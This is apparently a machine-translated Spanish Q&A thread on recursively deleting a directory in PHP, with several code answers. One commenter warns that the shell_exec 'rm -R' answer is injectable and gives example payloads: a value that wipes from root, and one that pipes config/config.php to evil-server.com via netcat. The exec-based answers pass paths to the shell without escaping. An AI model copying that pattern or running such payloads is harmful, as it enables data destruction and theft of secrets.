2009-09-10 13 views
26

estoy usando PHP para mover el contenido de imágenes de una subcarpeta¿Una función de directorio de eliminación recursiva para PHP?

GalleryName/images/

a otra carpeta. Después de la mudanza, necesito eliminar el directorio GalleryName y todo lo demás en su interior.

Sé que rmdir() no funcionará a menos que el directorio esté vacío. He pasado un tiempo tratando de construir una función recursiva en scandir() comenzando desde la parte superior y luego unlink() si es un archivo y scandir() si es un directorio, luego rmdir() cada directorio vacio sobre la marcha.

Hasta ahora no está funcionando exactamente bien, y comencé a pensar - ¿No es esta una función ridículamente simple que PHP debería poder hacer? ¿Eliminar un directorio?

Entonces, ¿hay algo que me falta? ¿O hay al menos una función probada que las personas usan para esta acción?

Cualquier ayuda sería apreciada.

PD Confío en todos ustedes aquí más que en los comentarios en el sitio de php.net - hay cientos de funciones allí, pero me gustaría saber si alguno de ustedes aquí recomienda uno sobre otros.

+3

¿Ha considerado shell_exec función() con un 'rm -fr'? No es el mejor enfoque, pero si ahora lo que estás haciendo, funciona bien. – rogeriopvl

Respuesta

14

Esta es la función recursiva que he creado/modificado y que finalmente parece estar funcionando. Espero que no haya nada demasiado peligroso en eso.

function destroy_dir($dir) { 
    if (!is_dir($dir) || is_link($dir)) return unlink($dir); 
    foreach (scandir($dir) as $file) { 
     if ($file == '.' || $file == '..') continue; 
     if (!destroy_dir($dir . DIRECTORY_SEPARATOR . $file)) { 
      chmod($dir . DIRECTORY_SEPARATOR . $file, 0777); 
      if (!destroy_dir($dir . DIRECTORY_SEPARATOR . $file)) return false; 
     }; 
    } 
    return rmdir($dir); 
} 
+0

¡Esta función es peligrosa, en lugar del artículo $ debe haber $ archivo! – johndodo

0

he adaptado una función que maneja los archivos ocultos UNIX con el prefijo de puntos y utiliza pegote:

public static function deleteDir($path) { 
    if (!is_dir($path)) { 
     throw new InvalidArgumentException("$path is not a directory"); 
    } 
    if (substr($path, strlen($path) - 1, 1) != '/') { 
     $path .= '/'; 
    } 
    $dotfiles = glob($path . '.*', GLOB_MARK); 
    $files = glob($path . '*', GLOB_MARK); 
    $files = array_merge($files, $dotfiles); 
    foreach ($files as $file) { 
     if (basename($file) == '.' || basename($file) == '..') { 
      continue; 
     } else if (is_dir($file)) { 
      self::deleteDir($file); 
     } else { 
      unlink($file); 
     } 
    } 
    rmdir($path); 
} 
83

¿Qué pasa con éste tema?

foreach(new RecursiveIteratorIterator(new RecursiveDirectoryIterator($dirPath, FilesystemIterator::SKIP_DOTS), RecursiveIteratorIterator::CHILD_FIRST) as $path) { 
     $path->isDir() && !$path->isLink() ? rmdir($path->getPathname()) : unlink($path->getPathname()); 
} 
rmdir($dirPath); 
+12

+1 para obtener el código más corto y probablemente sea la mejor y más rápida solución de trabajo :) – tftd

+1

Bueno, no olvide agregar rmdir ($ dirPath) después del foreach, de lo contrario, solo eliminará los archivos. – Ant

+0

@Cooluhuru Se agregó la llamada rmdir(). ¡Gracias! – barbushin

2

Si el servidor de aplicación se ejecuta Linux, sólo tiene que utilizar la función shell_exec() y le proporcionarán el comando rm -R, así:

shell_exec("rm ".$dir_path." -R"); 

Explicación:

La función ejecutará el comando insertado, directamente en Linux. Es exactamente lo mismo que ejecutar el comando en la terminal de Linux.

El comando rm eliminar un archivo o directorio pasado en $dir_path y la opción -R dice que el sistema funcione de forma recursiva.

+1

dependiendo de dónde provenga '$ dir_path', puede presentar un problema de seguridad muy grande. Supongamos que, de alguna manera, configuré '$ dir_path =" -F --no-preserve-root/";' o tal vez solo '$ dir_path ="; cat config/config.php | nc evil-server.com 80; ";' bueno, las posibilidades son infinitas. – amenthes

0

prefiero un método ataviada derivado de la ayuda php páginas http://php.net/manual/en/function.rmdir.php#115598

// check accidential empty, root or relative pathes 
if (!empty($path) && ...) 
{ 
    if (PHP_OS === 'Windows') 
    { 
    exec('rd /s /q "'.$path.'"'); 
    } 
    else 
    { 
     exec('rm -rf "'.$path.'"'); 
    } 
} 
else 
{ 
    error_log('path not valid:$path'.var_export($path, true)); 
} 

razones de mi decisión:

  • menos código
  • velocidad
  • que sea sencillo
Cuestiones relacionadas